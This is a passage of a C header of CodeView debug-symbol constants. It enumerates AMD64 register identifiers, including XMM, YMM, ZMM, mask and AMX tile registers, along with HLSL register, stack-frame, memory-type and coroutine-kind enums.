CV_AMD64_ST4 = 132, CV_AMD64_ST5 = 133, CV_AMD64_ST6 = 134, CV_AMD64_ST7 = 135, CV_AMD64_CTRL = 136, CV_AMD64_STAT = 137, CV_AMD64_TAG = 138, CV_AMD64_FPIP = 139, CV_AMD64_FPCS = 140, CV_AMD64_FPDO = 141, CV_AMD64_FPDS = 142, CV_AMD64_ISEM = 143, CV_AMD64_FPEIP = 144, CV_AMD64_FPEDO = 145, CV_AMD64_MM0 = 146, CV_AMD64_MM1 = 147, CV_AMD64_MM2 = 148, CV_AMD64_MM3 = 149, CV_AMD64_MM4 = 150, CV_AMD64_MM5 = 151, CV_AMD64_MM6 = 152, CV_AMD64_MM7 = 153, CV_AMD64_XMM0 = 154, // KATMAI registers CV_AMD64_XMM1 = 155, CV_AMD64_XMM2 = 156, CV_AMD64_XMM3 = 157, CV_AMD64_XMM4 = 158, CV_AMD64_XMM5 = 159, CV_AMD64_XMM6 = 160, CV_AMD64_XMM7 = 161, CV_AMD64_XMM0_0 = 162, // KATMAI sub-registers CV_AMD64_XMM0_1 = 163, CV_AMD64_XMM0_2 = 164, CV_AMD64_XMM0_3 = 165, CV_AMD64_XMM1_0 = 166, CV_AMD64_XMM1_1 = 167, CV_AMD64_XMM1_2 = 168, CV_AMD64_XMM1_3 = 169, CV_AMD64_XMM2_0 = 170, CV_AMD64_XMM2_1 = 171, CV_AMD64_XMM2_2 = 172, CV_AMD64_XMM2_3 = 173, CV_AMD64_XMM3_0 = 174, CV_AMD64_XMM3_1 = 175, CV_AMD64_XMM3_2 = 176, CV_AMD64_XMM3_3 = 177, CV_AMD64_XMM4_0 = 178, CV_AMD64_XMM4_1 = 179, CV_AMD64_XMM4_2 = 180, CV_AMD64_XMM4_3 = 181, CV_AMD64_XMM5_0 = 182, CV_AMD64_XMM5_1 = 183, CV_AMD64_XMM5_2 = 184, CV_AMD64_XMM5_3 = 185, CV_AMD64_XMM6_0 = 186, CV_AMD64_XMM6_1 = 187, CV_AMD64_XMM6_2 = 188, CV_AMD64_XMM6_3 = 189, CV_AMD64_XMM7_0 = 190, CV_AMD64_XMM7_1 = 191, CV_AMD64_XMM7_2 = 192, CV_AMD64_XMM7_3 = 193, CV_AMD64_XMM0L = 194, CV_AMD64_XMM1L = 195, CV_AMD64_XMM2L = 196, CV_AMD64_XMM3L = 197, CV_AMD64_XMM4L = 198, CV_AMD64_XMM5L = 199, CV_AMD64_XMM6L = 200, CV_AMD64_XMM7L = 201, CV_AMD64_XMM0H = 202, CV_AMD64_XMM1H = 203, CV_AMD64_XMM2H = 204, CV_AMD64_XMM3H = 205, CV_AMD64_XMM4H = 206, CV_AMD64_XMM5H = 207, CV_AMD64_XMM6H = 208, CV_AMD64_XMM7H = 209, CV_AMD64_MXCSR = 211, // XMM status register CV_AMD64_EMM0L = 220, // XMM sub-registers (WNI integer) CV_AMD64_EMM1L = 221, CV_AMD64_EMM2L = 222, CV_AMD64_EMM3L = 223, CV_AMD64_EMM4L = 224, CV_AMD64_EMM5L = 225, CV_AMD64_EMM6L = 226, CV_AMD64_EMM7L = 227, CV_AMD64_EMM0H = 228, CV_AMD64_EMM1H = 229, CV_AMD64_EMM2H = 230, CV_AMD64_EMM3H = 231, CV_AMD64_EMM4H = 232, CV_AMD64_EMM5H = 233, CV_AMD64_EMM6H = 234, CV_AMD64_EMM7H = 235, // do not change the order of these regs, first one must be even too CV_AMD64_MM00 = 236, CV_AMD64_MM01 = 237, CV_AMD64_MM10 = 238, CV_AMD64_MM11 = 239, CV_AMD64_MM20 = 240, CV_AMD64_MM21 = 241, CV_AMD64_MM30 = 242, CV_AMD64_MM31 = 243, CV_AMD64_MM40 = 244, CV_AMD64_MM41 = 245, CV_AMD64_MM50 = 246, CV_AMD64_MM51 = 247, CV_AMD64_MM60 = 248, CV_AMD64_MM61 = 249, CV_AMD64_MM70 = 250, CV_AMD64_MM71 = 251, // Extended KATMAI registers CV_AMD64_XMM8 = 252, // KATMAI registers CV_AMD64_XMM9 = 253, CV_AMD64_XMM10 = 254, CV_AMD64_XMM11 = 255, CV_AMD64_XMM12 = 256, CV_AMD64_XMM13 = 257, CV_AMD64_XMM14 = 258, CV_AMD64_XMM15 = 259, CV_AMD64_XMM8_0 = 260, // KATMAI sub-registers CV_AMD64_XMM8_1 = 261, CV_AMD64_XMM8_2 = 262, CV_AMD64_XMM8_3 = 263, CV_AMD64_XMM9_0 = 264, CV_AMD64_XMM9_1 = 265, CV_AMD64_XMM9_2 = 266, CV_AMD64_XMM9_3 = 267, CV_AMD64_XMM10_0 = 268, CV_AMD64_XMM10_1 = 269, CV_AMD64_XMM10_2 = 270, CV_AMD64_XMM10_3 = 271, CV_AMD64_XMM11_0 = 272, CV_AMD64_XMM11_1 = 273, CV_AMD64_XMM11_2 = 274, CV_AMD64_XMM11_3 = 275, CV_AMD64_XMM12_0 = 276, CV_AMD64_XMM12_1 = 277, CV_AMD64_XMM12_2 = 278, CV_AMD64_XMM12_3 = 279, CV_AMD64_XMM13_0 = 280, CV_AMD64_XMM13_1 = 281, CV_AMD64_XMM13_2 = 282, CV_AMD64_XMM13_3 = 283, CV_AMD64_XMM14_0 = 284, CV_AMD64_XMM14_1 = 285, CV_AMD64_XMM14_2 = 286, CV_AMD64_XMM14_3 = 287, CV_AMD64_XMM15_0 = 288, CV_AMD64_XMM15_1 = 289, CV_AMD64_XMM15_2 = 290, CV_AMD64_XMM15_3 = 291, CV_AMD64_XMM8L = 292, CV_AMD64_XMM9L = 293, CV_AMD64_XMM10L = 294, CV_AMD64_XMM11L = 295, CV_AMD64_XMM12L = 296, CV_AMD64_XMM13L = 297, CV_AMD64_XMM14L = 298, CV_AMD64_XMM15L = 299, CV_AMD64_XMM8H = 300, CV_AMD64_XMM9H = 301, CV_AMD64_XMM10H = 302, CV_AMD64_XMM11H = 303, CV_AMD64_XMM12H = 304, CV_AMD64_XMM13H = 305, CV_AMD64_XMM14H = 306, CV_AMD64_XMM15H = 307, CV_AMD64_EMM8L = 308, // XMM sub-registers (WNI integer) CV_AMD64_EMM9L = 309, CV_AMD64_EMM10L = 310, CV_AMD64_EMM11L = 311, CV_AMD64_EMM12L = 312, CV_AMD64_EMM13L = 313, CV_AMD64_EMM14L = 314, CV_AMD64_EMM15L = 315, CV_AMD64_EMM8H = 316, CV_AMD64_EMM9H = 317, CV_AMD64_EMM10H = 318, CV_AMD64_EMM11H = 319, CV_AMD64_EMM12H = 320, CV_AMD64_EMM13H = 321, CV_AMD64_EMM14H = 322, CV_AMD64_EMM15H = 323, // Low byte forms of some standard registers CV_AMD64_SIL = 324, CV_AMD64_DIL = 325, CV_AMD64_BPL = 326, CV_AMD64_SPL = 327, // 64-bit regular registers CV_AMD64_RAX = 328, CV_AMD64_RBX = 329, CV_AMD64_RCX = 330, CV_AMD64_RDX = 331, CV_AMD64_RSI = 332, CV_AMD64_RDI = 333, CV_AMD64_RBP = 334, CV_AMD64_RSP = 335, // 64-bit integer registers with 8-, 16-, and 32-bit forms (B, W, and D) CV_AMD64_R8 = 336, CV_AMD64_R9 = 337, CV_AMD64_R10 = 338, CV_AMD64_R11 = 339, CV_AMD64_R12 = 340, CV_AMD64_R13 = 341, CV_AMD64_R14 = 342, CV_AMD64_R15 = 343, CV_AMD64_R8B = 344, CV_AMD64_R9B = 345, CV_AMD64_R10B = 346, CV_AMD64_R11B = 347, CV_AMD64_R12B = 348, CV_AMD64_R13B = 349, CV_AMD64_R14B = 350, CV_AMD64_R15B = 351, CV_AMD64_R8W = 352, CV_AMD64_R9W = 353, CV_AMD64_R10W = 354, CV_AMD64_R11W = 355, CV_AMD64_R12W = 356, CV_AMD64_R13W = 357, CV_AMD64_R14W = 358, CV_AMD64_R15W = 359, CV_AMD64_R8D = 360, CV_AMD64_R9D = 361, CV_AMD64_R10D = 362, CV_AMD64_R11D = 363, CV_AMD64_R12D = 364, CV_AMD64_R13D = 365, CV_AMD64_R14D = 366, CV_AMD64_R15D = 367, // AVX registers 256 bits CV_AMD64_YMM0 = 368, CV_AMD64_YMM1 = 369, CV_AMD64_YMM2 = 370, CV_AMD64_YMM3 = 371, CV_AMD64_YMM4 = 372, CV_AMD64_YMM5 = 373, CV_AMD64_YMM6 = 374, CV_AMD64_YMM7 = 375, CV_AMD64_YMM8 = 376, CV_AMD64_YMM9 = 377, CV_AMD64_YMM10 = 378, CV_AMD64_YMM11 = 379, CV_AMD64_YMM12 = 380, CV_AMD64_YMM13 = 381, CV_AMD64_YMM14 = 382, CV_AMD64_YMM15 = 383, // AVX registers upper 128 bits CV_AMD64_YMM0H = 384, CV_AMD64_YMM1H = 385, CV_AMD64_YMM2H = 386, CV_AMD64_YMM3H = 387, CV_AMD64_YMM4H = 388, CV_AMD64_YMM5H = 389, CV_AMD64_YMM6H = 390, CV_AMD64_YMM7H = 391, CV_AMD64_YMM8H = 392, CV_AMD64_YMM9H = 393, CV_AMD64_YMM10H = 394, CV_AMD64_YMM11H = 395, CV_AMD64_YMM12H = 396, CV_AMD64_YMM13H = 397, CV_AMD64_YMM14H = 398, CV_AMD64_YMM15H = 399, //Lower/upper 8 bytes of XMM registers. Unlike CV_AMD64_XMM, these //values reprsesent the bit patterns of the registers as 64-bit integers, not //the representation of these registers as a double. CV_AMD64_XMM0IL = 400, CV_AMD64_XMM1IL = 401, CV_AMD64_XMM2IL = 402, CV_AMD64_XMM3IL = 403, CV_AMD64_XMM4IL = 404, CV_AMD64_XMM5IL = 405, CV_AMD64_XMM6IL = 406, CV_AMD64_XMM7IL = 407, CV_AMD64_XMM8IL = 408, CV_AMD64_XMM9IL = 409, CV_AMD64_XMM10IL = 410, CV_AMD64_XMM11IL = 411, CV_AMD64_XMM12IL = 412, CV_AMD64_XMM13IL = 413, CV_AMD64_XMM14IL = 414, CV_AMD64_XMM15IL = 415, CV_AMD64_XMM0IH = 416, CV_AMD64_XMM1IH = 417, CV_AMD64_XMM2IH = 418, CV_AMD64_XMM3IH = 419, CV_AMD64_XMM4IH = 420, CV_AMD64_XMM5IH = 421, CV_AMD64_XMM6IH = 422, CV_AMD64_XMM7IH = 423, CV_AMD64_XMM8IH = 424, CV_AMD64_XMM9IH = 425, CV_AMD64_XMM10IH = 426, CV_AMD64_XMM11IH = 427, CV_AMD64_XMM12IH = 428, CV_AMD64_XMM13IH = 429, CV_AMD64_XMM14IH = 430, CV_AMD64_XMM15IH = 431, CV_AMD64_YMM0I0 = 432, // AVX integer registers CV_AMD64_YMM0I1 = 433, CV_AMD64_YMM0I2 = 434, CV_AMD64_YMM0I3 = 435, CV_AMD64_YMM1I0 = 436, CV_AMD64_YMM1I1 = 437, CV_AMD64_YMM1I2 = 438, CV_AMD64_YMM1I3 = 439, CV_AMD64_YMM2I0 = 440, CV_AMD64_YMM2I1 = 441, CV_AMD64_YMM2I2 = 442, CV_AMD64_YMM2I3 = 443, CV_AMD64_YMM3I0 = 444, CV_AMD64_YMM3I1 = 445, CV_AMD64_YMM3I2 = 446, CV_AMD64_YMM3I3 = 447, CV_AMD64_YMM4I0 = 448, CV_AMD64_YMM4I1 = 449, CV_AMD64_YMM4I2 = 450, CV_AMD64_YMM4I3 = 451, CV_AMD64_YMM5I0 = 452, CV_AMD64_YMM5I1 = 453, CV_AMD64_YMM5I2 = 454, CV_AMD64_YMM5I3 = 455, CV_AMD64_YMM6I0 = 456, CV_AMD64_YMM6I1 = 457, CV_AMD64_YMM6I2 = 458, CV_AMD64_YMM6I3 = 459, CV_AMD64_YMM7I0 = 460, CV_AMD64_YMM7I1 = 461, CV_AMD64_YMM7I2 = 462, CV_AMD64_YMM7I3 = 463, CV_AMD64_YMM8I0 = 464, CV_AMD64_YMM8I1 = 465, CV_AMD64_YMM8I2 = 466, CV_AMD64_YMM8I3 = 467, CV_AMD64_YMM9I0 = 468, CV_AMD64_YMM9I1 = 469, CV_AMD64_YMM9I2 = 470, CV_AMD64_YMM9I3 = 471, CV_AMD64_YMM10I0 = 472, CV_AMD64_YMM10I1 = 473, CV_AMD64_YMM10I2 = 474, CV_AMD64_YMM10I3 = 475, CV_AMD64_YMM11I0 = 476, CV_AMD64_YMM11I1 = 477, CV_AMD64_YMM11I2 = 478, CV_AMD64_YMM11I3 = 479, CV_AMD64_YMM12I0 = 480, CV_AMD64_YMM12I1 = 481, CV_AMD64_YMM12I2 = 482, CV_AMD64_YMM12I3 = 483, CV_AMD64_YMM13I0 = 484, CV_AMD64_YMM13I1 = 485, CV_AMD64_YMM13I2 = 486, CV_AMD64_YMM13I3 = 487, CV_AMD64_YMM14I0 = 488, CV_AMD64_YMM14I1 = 489, CV_AMD64_YMM14I2 = 490, CV_AMD64_YMM14I3 = 491, CV_AMD64_YMM15I0 = 492, CV_AMD64_YMM15I1 = 493, CV_AMD64_YMM15I2 = 494, CV_AMD64_YMM15I3 = 495, CV_AMD64_YMM0F0 = 496, // AVX floating-point single precise registers CV_AMD64_YMM0F1 = 497, CV_AMD64_YMM0F2 = 498, CV_AMD64_YMM0F3 = 499, CV_AMD64_YMM0F4 = 500, CV_AMD64_YMM0F5 = 501, CV_AMD64_YMM0F6 = 502, CV_AMD64_YMM0F7 = 503, CV_AMD64_YMM1F0 = 504, CV_AMD64_YMM1F1 = 505, CV_AMD64_YMM1F2 = 506, CV_AMD64_YMM1F3 = 507, CV_AMD64_YMM1F4 = 508, CV_AMD64_YMM1F5 = 509, CV_AMD64_YMM1F6 = 510, CV_AMD64_YMM1F7 = 511, CV_AMD64_YMM2F0 = 512, CV_AMD64_YMM2F1 = 513, CV_AMD64_YMM2F2 = 514, CV_AMD64_YMM2F3 = 515, CV_AMD64_YMM2F4 = 516, CV_AMD64_YMM2F5 = 517, CV_AMD64_YMM2F6 = 518, CV_AMD64_YMM2F7 = 519, CV_AMD64_YMM3F0 = 520, CV_AMD64_YMM3F1 = 521, CV_AMD64_YMM3F2 = 522, CV_AMD64_YMM3F3 = 523, CV_AMD64_YMM3F4 = 524, CV_AMD64_YMM3F5 = 525, CV_AMD64_YMM3F6 = 526, CV_AMD64_YMM3F7 = 527, CV_AMD64_YMM4F0 = 528, CV_AMD64_YMM4F1 = 529, CV_AMD64_YMM4F2 = 530, CV_AMD64_YMM4F3 = 531, CV_AMD64_YMM4F4 = 532, CV_AMD64_YMM4F5 = 533, CV_AMD64_YMM4F6 = 534, CV_AMD64_YMM4F7 = 535, CV_AMD64_YMM5F0 = 536, CV_AMD64_YMM5F1 = 537, CV_AMD64_YMM5F2 = 538, CV_AMD64_YMM5F3 = 539, CV_AMD64_YMM5F4 = 540, CV_AMD64_YMM5F5 = 541, CV_AMD64_YMM5F6 = 542, CV_AMD64_YMM5F7 = 543, CV_AMD64_YMM6F0 = 544, CV_AMD64_YMM6F1 = 545, CV_AMD64_YMM6F2 = 546, CV_AMD64_YMM6F3 = 547, CV_AMD64_YMM6F4 = 548, CV_AMD64_YMM6F5 = 549, CV_AMD64_YMM6F6 = 550, CV_AMD64_YMM6F7 = 551, CV_AMD64_YMM7F0 = 552, CV_AMD64_YMM7F1 = 553, CV_AMD64_YMM7F2 = 554, CV_AMD64_YMM7F3 = 555, CV_AMD64_YMM7F4 = 556, CV_AMD64_YMM7F5 = 557, CV_AMD64_YMM7F6 = 558, CV_AMD64_YMM7F7 = 559, CV_AMD64_YMM8F0 = 560, CV_AMD64_YMM8F1 = 561, CV_AMD64_YMM8F2 = 562, CV_AMD64_YMM8F3 = 563, CV_AMD64_YMM8F4 = 564, CV_AMD64_YMM8F5 = 565, CV_AMD64_YMM8F6 = 566, CV_AMD64_YMM8F7 = 567, CV_AMD64_YMM9F0 = 568, CV_AMD64_YMM9F1 = 569, CV_AMD64_YMM9F2 = 570, CV_AMD64_YMM9F3 = 571, CV_AMD64_YMM9F4 = 572, CV_AMD64_YMM9F5 = 573, CV_AMD64_YMM9F6 = 574, CV_AMD64_YMM9F7 = 575, CV_AMD64_YMM10F0 = 576, CV_AMD64_YMM10F1 = 577, CV_AMD64_YMM10F2 = 578, CV_AMD64_YMM10F3 = 579, CV_AMD64_YMM10F4 = 580, CV_AMD64_YMM10F5 = 581, CV_AMD64_YMM10F6 = 582, CV_AMD64_YMM10F7 = 583, CV_AMD64_YMM11F0 = 584, CV_AMD64_YMM11F1 = 585, CV_AMD64_YMM11F2 = 586, CV_AMD64_YMM11F3 = 587, CV_AMD64_YMM11F4 = 588, CV_AMD64_YMM11F5 = 589, CV_AMD64_YMM11F6 = 590, CV_AMD64_YMM11F7 = 591, CV_AMD64_YMM12F0 = 592, CV_AMD64_YMM12F1 = 593, CV_AMD64_YMM12F2 = 594, CV_AMD64_YMM12F3 = 595, CV_AMD64_YMM12F4 = 596, CV_AMD64_YMM12F5 = 597, CV_AMD64_YMM12F6 = 598, CV_AMD64_YMM12F7 = 599, CV_AMD64_YMM13F0 = 600, CV_AMD64_YMM13F1 = 601, CV_AMD64_YMM13F2 = 602, CV_AMD64_YMM13F3 = 603, CV_AMD64_YMM13F4 = 604, CV_AMD64_YMM13F5 = 605, CV_AMD64_YMM13F6 = 606, CV_AMD64_YMM13F7 = 607, CV_AMD64_YMM14F0 = 608, CV_AMD64_YMM14F1 = 609, CV_AMD64_YMM14F2 = 610, CV_AMD64_YMM14F3 = 611, CV_AMD64_YMM14F4 = 612, CV_AMD64_YMM14F5 = 613, CV_AMD64_YMM14F6 = 614, CV_AMD64_YMM14F7 = 615, CV_AMD64_YMM15F0 = 616, CV_AMD64_YMM15F1 = 617, CV_AMD64_YMM15F2 = 618, CV_AMD64_YMM15F3 = 619, CV_AMD64_YMM15F4 = 620, CV_AMD64_YMM15F5 = 621, CV_AMD64_YMM15F6 = 622, CV_AMD64_YMM15F7 = 623, CV_AMD64_YMM0D0 = 624, // AVX floating-point double precise registers CV_AMD64_YMM0D1 = 625, CV_AMD64_YMM0D2 = 626, CV_AMD64_YMM0D3 = 627, CV_AMD64_YMM1D0 = 628, CV_AMD64_YMM1D1 = 629, CV_AMD64_YMM1D2 = 630, CV_AMD64_YMM1D3 = 631, CV_AMD64_YMM2D0 = 632, CV_AMD64_YMM2D1 = 633, CV_AMD64_YMM2D2 = 634, CV_AMD64_YMM2D3 = 635, CV_AMD64_YMM3D0 = 636, CV_AMD64_YMM3D1 = 637, CV_AMD64_YMM3D2 = 638, CV_AMD64_YMM3D3 = 639, CV_AMD64_YMM4D0 = 640, CV_AMD64_YMM4D1 = 641, CV_AMD64_YMM4D2 = 642, CV_AMD64_YMM4D3 = 643, CV_AMD64_YMM5D0 = 644, CV_AMD64_YMM5D1 = 645, CV_AMD64_YMM5D2 = 646, CV_AMD64_YMM5D3 = 647, CV_AMD64_YMM6D0 = 648, CV_AMD64_YMM6D1 = 649, CV_AMD64_YMM6D2 = 650, CV_AMD64_YMM6D3 = 651, CV_AMD64_YMM7D0 = 652, CV_AMD64_YMM7D1 = 653, CV_AMD64_YMM7D2 = 654, CV_AMD64_YMM7D3 = 655, CV_AMD64_YMM8D0 = 656, CV_AMD64_YMM8D1 = 657, CV_AMD64_YMM8D2 = 658, CV_AMD64_YMM8D3 = 659, CV_AMD64_YMM9D0 = 660, CV_AMD64_YMM9D1 = 661, CV_AMD64_YMM9D2 = 662, CV_AMD64_YMM9D3 = 663, CV_AMD64_YMM10D0 = 664, CV_AMD64_YMM10D1 = 665, CV_AMD64_YMM10D2 = 666, CV_AMD64_YMM10D3 = 667, CV_AMD64_YMM11D0 = 668, CV_AMD64_YMM11D1 = 669, CV_AMD64_YMM11D2 = 670, CV_AMD64_YMM11D3 = 671, CV_AMD64_YMM12D0 = 672, CV_AMD64_YMM12D1 = 673, CV_AMD64_YMM12D2 = 674, CV_AMD64_YMM12D3 = 675, CV_AMD64_YMM13D0 = 676, CV_AMD64_YMM13D1 = 677, CV_AMD64_YMM13D2 = 678, CV_AMD64_YMM13D3 = 679, CV_AMD64_YMM14D0 = 680, CV_AMD64_YMM14D1 = 681, CV_AMD64_YMM14D2 = 682, CV_AMD64_YMM14D3 = 683, CV_AMD64_YMM15D0 = 684, CV_AMD64_YMM15D1 = 685, CV_AMD64_YMM15D2 = 686, CV_AMD64_YMM15D3 = 687, CV_AMD64_BND0 = 688, // AMD64 MPX bounds registers CV_AMD64_BND1 = 689, CV_AMD64_BND2 = 690, CV_AMD64_BND3 = 691, CV_AMD64_BNDCFGU = 692, CV_AMD64_BNDSTATUS = 693, CV_AMD64_XMM16 = 694, // AVX-512 registers CV_AMD64_XMM17 = 695, CV_AMD64_XMM18 = 696, CV_AMD64_XMM19 = 697, CV_AMD64_XMM20 = 698, CV_AMD64_XMM21 = 699, CV_AMD64_XMM22 = 700, CV_AMD64_XMM23 = 701, CV_AMD64_XMM24 = 702, CV_AMD64_XMM25 = 703, CV_AMD64_XMM26 = 704, CV_AMD64_XMM27 = 705, CV_AMD64_XMM28 = 706, CV_AMD64_XMM29 = 707, CV_AMD64_XMM30 = 708, CV_AMD64_XMM31 = 709, CV_AMD64_YMM16 = 710, CV_AMD64_YMM17 = 711, CV_AMD64_YMM18 = 712, CV_AMD64_YMM19 = 713, CV_AMD64_YMM20 = 714, CV_AMD64_YMM21 = 715, CV_AMD64_YMM22 = 716, CV_AMD64_YMM23 = 717, CV_AMD64_YMM24 = 718, CV_AMD64_YMM25 = 719, CV_AMD64_YMM26 = 720, CV_AMD64_YMM27 = 721, CV_AMD64_YMM28 = 722, CV_AMD64_YMM29 = 723, CV_AMD64_YMM30 = 724, CV_AMD64_YMM31 = 725, CV_AMD64_ZMM0 = 726, CV_AMD64_ZMM1 = 727, CV_AMD64_ZMM2 = 728, CV_AMD64_ZMM3 = 729, CV_AMD64_ZMM4 = 730, CV_AMD64_ZMM5 = 731, CV_AMD64_ZMM6 = 732, CV_AMD64_ZMM7 = 733, CV_AMD64_ZMM8 = 734, CV_AMD64_ZMM9 = 735, CV_AMD64_ZMM10 = 736, CV_AMD64_ZMM11 = 737, CV_AMD64_ZMM12 = 738, CV_AMD64_ZMM13 = 739, CV_AMD64_ZMM14 = 740, CV_AMD64_ZMM15 = 741, CV_AMD64_ZMM16 = 742, CV_AMD64_ZMM17 = 743, CV_AMD64_ZMM18 = 744, CV_AMD64_ZMM19 = 745, CV_AMD64_ZMM20 = 746, CV_AMD64_ZMM21 = 747, CV_AMD64_ZMM22 = 748, CV_AMD64_ZMM23 = 749, CV_AMD64_ZMM24 = 750, CV_AMD64_ZMM25 = 751, CV_AMD64_ZMM26 = 752, CV_AMD64_ZMM27 = 753, CV_AMD64_ZMM28 = 754, CV_AMD64_ZMM29 = 755, CV_AMD64_ZMM30 = 756, CV_AMD64_ZMM31 = 757, CV_AMD64_K0 = 758, CV_AMD64_K1 = 759, CV_AMD64_K2 = 760, CV_AMD64_K3 = 761, CV_AMD64_K4 = 762, CV_AMD64_K5 = 763, CV_AMD64_K6 = 764, CV_AMD64_K7 = 765, CV_AMD64_ZMM0H = 766, // upper 256 bits of the first 16 AMD64 AVX-512 registers CV_AMD64_ZMM1H = 767, CV_AMD64_ZMM2H = 768, CV_AMD64_ZMM3H = 769, CV_AMD64_ZMM4H = 770, CV_AMD64_ZMM5H = 771, CV_AMD64_ZMM6H = 772, CV_AMD64_ZMM7H = 773, CV_AMD64_ZMM8H = 774, CV_AMD64_ZMM9H = 775, CV_AMD64_ZMM10H = 776, CV_AMD64_ZMM11H = 777, CV_AMD64_ZMM12H = 778, CV_AMD64_ZMM13H = 779, CV_AMD64_ZMM14H = 780, CV_AMD64_ZMM15H = 781, CV_AMD64_XMM16L = 782, // extended KATMAI registers CV_AMD64_XMM17L = 783, CV_AMD64_XMM18L = 784, CV_AMD64_XMM19L = 785, CV_AMD64_XMM20L = 786, CV_AMD64_XMM21L = 787, CV_AMD64_XMM22L = 788, CV_AMD64_XMM23L = 789, CV_AMD64_XMM24L = 790, CV_AMD64_XMM25L = 791, CV_AMD64_XMM26L = 792, CV_AMD64_XMM27L = 793, CV_AMD64_XMM28L = 794, CV_AMD64_XMM29L = 795, CV_AMD64_XMM30L = 796, CV_AMD64_XMM31L = 797, CV_AMD64_XMM16_0 = 798, CV_AMD64_XMM17_0 = 799, CV_AMD64_XMM18_0 = 800, CV_AMD64_XMM19_0 = 801, CV_AMD64_XMM20_0 = 802, CV_AMD64_XMM21_0 = 803, CV_AMD64_XMM22_0 = 804, CV_AMD64_XMM23_0 = 805, CV_AMD64_XMM24_0 = 806, CV_AMD64_XMM25_0 = 807, CV_AMD64_XMM26_0 = 808, CV_AMD64_XMM27_0 = 809, CV_AMD64_XMM28_0 = 810, CV_AMD64_XMM29_0 = 811, CV_AMD64_XMM30_0 = 812, CV_AMD64_XMM31_0 = 813, CV_AMD64_XMM16H = 814, CV_AMD64_XMM17H = 815, CV_AMD64_XMM18H = 816, CV_AMD64_XMM19H = 817, CV_AMD64_XMM20H = 818, CV_AMD64_XMM21H = 819, CV_AMD64_XMM22H = 820, CV_AMD64_XMM23H = 821, CV_AMD64_XMM24H = 822, CV_AMD64_XMM25H = 823, CV_AMD64_XMM26H = 824, CV_AMD64_XMM27H = 825, CV_AMD64_XMM28H = 826, CV_AMD64_XMM29H = 827, CV_AMD64_XMM30H = 828, CV_AMD64_XMM31H = 829, CV_AMD64_EMM16H = 830, CV_AMD64_EMM17H = 831, CV_AMD64_EMM18H = 832, CV_AMD64_EMM19H = 833, CV_AMD64_EMM20H = 834, CV_AMD64_EMM21H = 835, CV_AMD64_EMM22H = 836, CV_AMD64_EMM23H = 837, CV_AMD64_EMM24H = 838, CV_AMD64_EMM25H = 839, CV_AMD64_EMM26H = 840, CV_AMD64_EMM27H = 841, CV_AMD64_EMM28H = 842, CV_AMD64_EMM29H = 843, CV_AMD64_EMM30H = 844, CV_AMD64_EMM31H = 845, CV_AMD64_SSP = 846, // CET- Shadow Stack Pointer CV_AMD64_TMM0 = 847, // AMX tile registers CV_AMD64_TMM1 = 848, CV_AMD64_TMM2 = 849, CV_AMD64_TMM3 = 850, CV_AMD64_TMM4 = 851, CV_AMD64_TMM5 = 852, CV_AMD64_TMM6 = 853, CV_AMD64_TMM7 = 854, CV_AMD64_TILECFG = 855, // AMX tile cfg register // Note: Next set of platform registers need to go into a new enum... // this one is above 44K now. } CV_HREG_e; typedef enum CV_HLSLREG_e { CV_HLSLREG_TEMP = 0, CV_HLSLREG_INPUT = 1, CV_HLSLREG_OUTPUT = 2, CV_HLSLREG_INDEXABLE_TEMP = 3, CV_HLSLREG_IMMEDIATE32 = 4, CV_HLSLREG_IMMEDIATE64 = 5, CV_HLSLREG_SAMPLER = 6, CV_HLSLREG_RESOURCE = 7, CV_HLSLREG_CONSTANT_BUFFER = 8, CV_HLSLREG_IMMEDIATE_CONSTANT_BUFFER = 9, CV_HLSLREG_LABEL = 10, CV_HLSLREG_INPUT_PRIMITIVEID = 11, CV_HLSLREG_OUTPUT_DEPTH = 12, CV_HLSLREG_NULL = 13, CV_HLSLREG_RASTERIZER = 14, CV_HLSLREG_OUTPUT_COVERAGE_MASK = 15, CV_HLSLREG_STREAM = 16, CV_HLSLREG_FUNCTION_BODY = 17, CV_HLSLREG_FUNCTION_TABLE = 18, CV_HLSLREG_INTERFACE = 19, CV_HLSLREG_FUNCTION_INPUT = 20, CV_HLSLREG_FUNCTION_OUTPUT = 21, CV_HLSLREG_OUTPUT_CONTROL_POINT_ID = 22, CV_HLSLREG_INPUT_FORK_INSTANCE_ID = 23, CV_HLSLREG_INPUT_JOIN_INSTANCE_ID = 24, CV_HLSLREG_INPUT_CONTROL_POINT = 25, CV_HLSLREG_OUTPUT_CONTROL_POINT = 26, CV_HLSLREG_INPUT_PATCH_CONSTANT = 27, CV_HLSLREG_INPUT_DOMAIN_POINT = 28, CV_HLSLREG_THIS_POINTER = 29, CV_HLSLREG_UNORDERED_ACCESS_VIEW = 30, CV_HLSLREG_THREAD_GROUP_SHARED_MEMORY = 31, CV_HLSLREG_INPUT_THREAD_ID = 32, CV_HLSLREG_INPUT_THREAD_GROUP_ID = 33, CV_HLSLREG_INPUT_THREAD_ID_IN_GROUP = 34, CV_HLSLREG_INPUT_COVERAGE_MASK = 35, CV_HLSLREG_INPUT_THREAD_ID_IN_GROUP_FLATTENED = 36, CV_HLSLREG_INPUT_GS_INSTANCE_ID = 37, CV_HLSLREG_OUTPUT_DEPTH_GREATER_EQUAL = 38, CV_HLSLREG_OUTPUT_DEPTH_LESS_EQUAL = 39, CV_HLSLREG_CYCLE_COUNTER = 40, } CV_HLSLREG_e; enum StackFrameTypeEnum { FrameTypeFPO, // Frame pointer omitted, FPO info available FrameTypeTrap, // Kernel Trap frame FrameTypeTSS, // Kernel Trap frame FrameTypeStandard, // Standard EBP stackframe FrameTypeFrameData, // Frame pointer omitted, FrameData info available FrameTypeUnknown = -1, // Frame which does not have any debug info }; enum MemoryTypeEnum { MemTypeCode, // Read only code memory MemTypeData, // Read only data/stack memory MemTypeStack, // Read only stack memory MemTypeCodeOnHeap, // Read only memory for code generated on heap by runtime MemTypeAny = -1, }; typedef enum CV_HLSLMemorySpace_e { // HLSL specific memory spaces CV_HLSL_MEMSPACE_DATA = 0x00, CV_HLSL_MEMSPACE_SAMPLER = 0x01, CV_HLSL_MEMSPACE_RESOURCE = 0x02, CV_HLSL_MEMSPACE_RWRESOURCE = 0x03, CV_HLSL_MEMSPACE_MAX = 0x0F, } CV_HLSLMemorySpace_e; enum { NAMEHASH_BUILD_START, NAMEHASH_BUILD_PAUSE, NAMEHASH_BUILD_RESUME, NAMEHASH_BUILD_COMPLETE, NAMEHASH_BUILD_ERROR, NAMEHASH_BUILD_OOM = NAMEHASH_BUILD_ERROR, NAMEHASH_BUILD_FAIL_TO_OPEN_MOD, }; typedef enum CV_CoroutineKind_e { CV_COROUTINEKIND_NONE, // Not a coroutine CV_COROUTINEKIND_PRIMARY, 